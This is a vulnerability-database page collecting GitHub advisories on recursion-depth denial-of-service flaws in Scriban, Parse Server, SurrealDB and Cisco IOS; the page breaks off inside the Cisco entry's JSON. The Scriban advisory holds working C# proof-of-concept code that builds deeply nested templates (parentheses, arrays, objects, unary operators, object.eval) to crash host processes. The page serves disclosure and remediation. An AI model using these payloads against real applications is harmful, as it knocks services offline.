Vulnerability-Lookup

GHSA-6Q7J-XR26-3H2C

Vulnerability from github – Published: 2026-06-26 21:02 – Updated: 2026-07-06 13:10

Summary

Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)

Details

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Severity

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Scriban"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0"
            },
            {
              "fixed": "7.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Scriban.Signed"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0"
            },
            {
              "fixed": "7.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:02:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing \u2014 it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**.\n\nAny application that parses an attacker-influenced template \u2014 or that passes attacker-controlled strings to `object.eval` / `object.eval_template` \u2014 can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser.\n\nThis re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** (\"Uncontrolled recursion in parser \u2192 StackOverflow\", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** (\"StackOverflow via nested array initializers bypasses ExpressionDepthLimit\", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.**\n\n### Details\n\nThe depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218\nprivate void EnterExpression()\n{\n    _expressionDepth++;\n    var limit = Options.ExpressionDepthLimit;\n    if (limit \u003e 0 \u0026\u0026 !_isExpressionDepthLimitReached \u0026\u0026 _expressionDepth \u003e limit)\n    {\n        LogError(GetSpanForToken(Previous), $\"The statement depth limit `{limit}` was reached when parsing this statement\");\n        _isExpressionDepthLimitReached = true;\n    }\n}\n```\n\nWhen the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` \u2014 parsing proceeds:\n\n```csharp\n// src/Scriban/Parsing/Parser.cs:476-488\nprivate void Log(LogMessage logMessage, bool isFatal = false)\n{\n    Messages.Add(logMessage);\n    if (logMessage.Type == ParserMessageType.Error)\n    {\n        HasErrors = true;\n        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path\n    }\n}\n```\n\nThe flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once \u2014 no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn \"_isExpressionDepthLimitReached\" src/`): it appears in exactly four places \u2014 the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182\nEnterExpression();\ntry\n{\n    ...\n    case TokenType.OpenParen:\n        leftOperand = ParseParenthesis();   // recurses back into ParseExpression\n```\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:984-1001\nprivate ScriptExpression ParseParenthesis()\n{\n    var expression = Open\u003cScriptNestedExpression\u003e();\n    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);\n    expression.Expression = ExpectAndParseExpression(expression);  // -\u003e ParseExpression -\u003e ParseParenthesis -\u003e ...\n    ...\n}\n```\n\nBoth `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.\n\nSo for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform\u0027s thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.\n\nThe same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows.\n\nThe existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.\n\n**Runtime reachability without template injection:** `object.eval` / `object.eval_template` (`src/Scriban/Functions/ObjectFunctions.cs:72-155`) re-parse a string argument at render time using `Template.Parse(...)`. An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into `object.eval`. The `catch (Exception)` inside `Eval` cannot intercept the `StackOverflowException`.\n\n### PoC\n\nA single console project reproduces it on the released NuGet package.\n\n`poc.csproj`:\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003c!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --\u003e\n  \u003c/PropertyGroup\u003e\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"Scriban\" Version=\"7.2.0\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n```\n\n`Program.cs`:\n```csharp\nusing Scriban;\n\nint n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack\nstring tpl = \"{{ \" + new string(\u0027(\u0027, n) + \"1\" + new string(\u0027)\u0027, n) + \" }}\";\n\nSystem.Console.WriteLine($\"Parsing template with {n} nested parentheses (default ParserOptions)...\");\nTemplate.Parse(tpl);                 // \u003c-- process is killed here\nSystem.Console.WriteLine(\"Parse returned without crashing\"); // never reached\n```\n\nRun:\n```sh\ndotnet run -c Release\n```\n\nObserved output (process aborts; shell exit code 134 = SIGABRT):\n```\nParsing template with 8000 nested parentheses (default ParserOptions)...\nStack overflow.\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   at Scriban.Parsing.Parser.ParseExpression(...)\n   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   ... (repeats until the stack is exhausted)\n```\n\nAdditional confirmations (same crash / exit 134), substituting the template body in `Program.cs`:\n\nThe explicit limit is ignored \u2014 still crashes:\n```csharp\nTemplate.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });\n```\n\nArray initializers (the GHSA-p6q4 path):\n```csharp\nstring tpl = \"{{ \" + new string(\u0027[\u0027, n) + \"1\" + new string(\u0027]\u0027, n) + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nObject initializers `{x:{x:...{x:1}...}}`:\n```csharp\nvar b = new System.Text.StringBuilder();\nfor (int i = 0; i \u003c n; i++) b.Append(\"{x:\");\nb.Append(\u00271\u0027);\nb.Append(\u0027}\u0027, n);\nTemplate.Parse(\"{{ \" + b + \" }}\");  // crashes identically\n```\n\nUnary operators:\n```csharp\nstring tpl = \"{{ \" + new string(\u0027!\u0027, n) + \"true\" + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nLiquid syntax mode (shares the same expression parser):\n```csharp\nstring tpl = \"{{ \" + new string(\u0027(\u0027, n) + \"1\" + new string(\u0027)\u0027, n) + \" }}\";\nTemplate.ParseLiquid(tpl);  // crashes identically\n```\n\nRuntime via `object.eval`, with a fully trusted outer template \u2014 verified end-to-end: the outer parse reports `HasErrors == false`, then `Render()` crashes the process and the surrounding `try/catch` never fires (the `StackOverflowException` is uncatchable):\n```csharp\nusing Scriban;\n\nint n = 8000;\nstring deep = new string(\u0027(\u0027, n) + \"1\" + new string(\u0027)\u0027, n);\nstring outer = \"{{ \\\"\" + deep + \"\\\" | object.eval }}\";\n\nSystem.Console.WriteLine($\"Outer template length = {outer.Length} chars.\");\nvar t = Template.Parse(outer);\nSystem.Console.WriteLine($\"Outer parsed. HasErrors = {t.HasErrors}\");\nSystem.Console.WriteLine(\"Rendering (object.eval re-parses the inner string at runtime)...\");\ntry\n{\n    t.Render();\n    System.Console.WriteLine(\"Render returned without crashing\");\n}\ncatch (System.Exception e)\n{\n    System.Console.WriteLine($\"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)\");\n}\n```\n\nVerified against clean NuGet installs of Scriban **6.6.0, 7.0.0, 7.1.0, and 7.2.0** (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (`HasErrors == false`, no crash).\n\n### Impact\n\n- **Type:** Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable `StackOverflowException` and full process termination.\n- **Severity:** CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)** \u2014 the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.\n- **Who is impacted:** Any application that calls `Template.Parse` / `Template.ParseLiquid` (or `Template.Render` on an unparsed source) on template text that is wholly or partially attacker-controlled \u2014 the documented server-side template scenario \u2014 and any application that passes attacker-controlled strings to `object.eval` / `object.eval_template`, even when its own templates are trusted.\n- **Why the existing mitigation does not help:** `ExpressionDepthLimit` (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a `StackOverflowException`, callers cannot defend with `try/catch` either \u2014 the process is lost.\n- **Affected versions:** 6.6.0 \u2013 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.\n\n**Suggested remediation:** make the limit actually stop descent \u2014 e.g. throw a parse exception from `EnterExpression()` when the limit is exceeded (or log with `isFatal: true` and have the parse loop honor `_hasFatalError` by unwinding). As defense in depth, call `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression` (the same technique already used in `object.to_json`), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking `HasErrors` at depth 20.",
  "id": "GHSA-6q7j-xr26-3h2c",
  "modified": "2026-07-06T13:10:56Z",
  "published": "2026-06-26T21:02:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scriban/scriban/security/advisories/GHSA-6q7j-xr26-3h2c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scriban/scriban"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Scriban: ExpressionDepthLimit guard is non-enforcing \u2014 parser-recursion DoS in 6.6.0\u20137.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)"
}

GHSA-6QH5-M6G3-XHQ6

Vulnerability from github – Published: 2026-03-20 21:48 – Updated: 2026-03-30 13:51

Summary

Parse Server LiveQuery subscription query depth bypass

Details

Impact

Parse Server's LiveQuery component does not enforce the requestComplexity.queryDepth configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability.

Deployments are affected when the LiveQuery WebSocket endpoint is reachable by untrusted clients.

Patches

The fix adds query condition depth validation to the LiveQuery subscription handler, enforcing the same requestComplexity.queryDepth limit that already protects REST API queries.

Workarounds

There is no known workaround other than upgrading.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.6.0-alpha.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.56"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T21:48:17Z",
    "nvd_published_at": "2026-03-24T19:16:54Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nParse Server\u0027s LiveQuery component does not enforce the `requestComplexity.queryDepth` configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability.\n\nDeployments are affected when the LiveQuery WebSocket endpoint is reachable by untrusted clients.\n\n### Patches\n\nThe fix adds query condition depth validation to the LiveQuery subscription handler, enforcing the same `requestComplexity.queryDepth` limit that already protects REST API queries.\n\n### Workarounds\n\nThere is no known workaround other than upgrading.",
  "id": "GHSA-6qh5-m6g3-xhq6",
  "modified": "2026-03-30T13:51:41Z",
  "published": "2026-03-20T21:48:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-6qh5-m6g3-xhq6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33508"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10259"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/060d27053fb0fadf613c25aabab7fe0c82b7a899"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/2126fe4e12f9b399dc6b4b6a3fa70cb1825f159b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server LiveQuery subscription query depth bypass"
}

GHSA-6R8P-HPG7-825G

Vulnerability from github – Published: 2024-01-18 15:55 – Updated: 2024-01-18 15:55

Summary

Uncontrolled Recursion in SurrealQL Parsing

Details

In some specific instances, the SurrealQL parser will attempt to recursively parse nested statements or idioms (i.e. nested IF and RELATE statements, nested basic idioms and nested access to attributes) without checking if the depth limit established by default or in the SURREAL_MAX_COMPUTATION_DEPTH environment variable is exceeded. This can lead to the stack overflowing when the nesting surpasses certain levels of depth.

Impact

An attacker that is authorized to run queries on a SurrealDB server may be able to run a query using the affected statements and idioms with very deep nesting in order to crash the server, leading to denial of service.

Patches

Version 1.1.0 and later are not affected by this issue.

Workarounds

Concerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.

References

https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62410
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62652
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=63797
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64445
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64731
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65277

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-18T15:55:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "In some specific instances, the SurrealQL parser will attempt to recursively parse nested statements or idioms (i.e. nested `IF` and `RELATE` statements, nested basic idioms and nested access to attributes) without checking if the depth limit established by default or in the `SURREAL_MAX_COMPUTATION_DEPTH` environment variable is exceeded. This can lead to the stack overflowing when the nesting surpasses certain levels of depth.\n\n### Impact\n\nAn attacker that is authorized to run queries on a SurrealDB server may be able to run a query using the affected statements and idioms with very deep nesting in order to crash the server, leading to denial of service.\n\n### Patches\n\n- Version 1.1.0 and later are not affected by this issue.\n\n### Workarounds\n\nConcerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62410\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62652\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=63797\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64445\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64731\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65277",
  "id": "GHSA-6r8p-hpg7-825g",
  "modified": "2024-01-18T15:55:18Z",
  "published": "2024-01-18T15:55:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-6r8p-hpg7-825g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/3232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/commit/f838da248e3854e4250e5187a3a67507cb7efaaa"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62410"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62652"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=63797"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64445"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64731"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65277"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Recursion in SurrealQL Parsing"
}

GHSA-6R9P-4766-XGG4

Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-03-27 18:32

Details

A vulnerability in the Locator ID Separation Protocol (LISP) feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload.

This vulnerability is due to the incorrect handling of LISP packets. An attacker could exploit this vulnerability by sending a crafted LISP packet to an affected device. A successful exploit could allow the attacker to cause the device to reload, resulting in a denial of service (DoS) condition.

Note: This vulnerability could be exploited over either IPv4 or IPv6 transport.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-20311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
